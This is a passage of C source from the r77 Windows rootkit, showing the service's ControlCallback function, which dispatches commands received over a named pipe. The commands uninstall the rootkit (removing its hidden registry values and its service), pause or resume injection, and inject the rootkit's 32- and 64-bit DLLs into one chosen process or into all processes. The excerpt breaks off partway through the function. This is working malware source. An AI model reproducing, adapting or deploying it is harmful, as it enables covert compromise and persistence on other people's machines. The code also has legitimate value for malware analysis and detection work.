Function ControlCallback

Service/Service.c:150–311

	}
}
VOID ControlCallback(DWORD controlCode, HANDLE pipe)
{
	// The r77 service received a command from another process.

	switch (controlCode)
	{
		case CONTROL_R77_TERMINATE_SERVICE:
		{
			UninitializeService();
			break;
		}
		case CONTROL_R77_UNINSTALL:
		{
			HKEY key;
			if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS, &key) == ERROR_SUCCESS)
			{
				RegDeleteValueW(key, HIDE_PREFIX L"stager");
				RegDeleteValueW(key, HIDE_PREFIX L"dll32");
				RegDeleteValueW(key, HIDE_PREFIX L"dll64");
			}

			DeleteWindowsService(R77_SERVICE_NAME);
			DetachAllInjectedProcesses();
			UninstallR77Config();
			UninitializeService();
			break;
		}
		case CONTROL_R77_PAUSE_INJECTION:
		{
			IsInjectionPaused = TRUE;
			break;
		}
		case CONTROL_R77_RESUME_INJECTION:
		{
			IsInjectionPaused = FALSE;
			break;
		}
		case CONTROL_PROCESSES_INJECT:
		{
			DWORD processId;
			DWORD bytesRead;
			if (ReadFile(pipe, &processId, sizeof(DWORD), &bytesRead, NULL) && bytesRead == sizeof(DWORD))
			{
				InjectDll(processId, RootkitDll32, RootkitDll32Size);
				InjectDll(processId, RootkitDll64, RootkitDll64Size);
			}

			break;
		}
		case CONTROL_PROCESSES_INJECT_ALL:
		{
			InjectAllProcesses(RootkitDll32, RootkitDll32Size, RootkitDll64, RootkitDll64Size);
			break;
		}
		case CONTROL_PROCESSES_DETACH:
		{
			DWORD processId;
			DWORD bytesRead;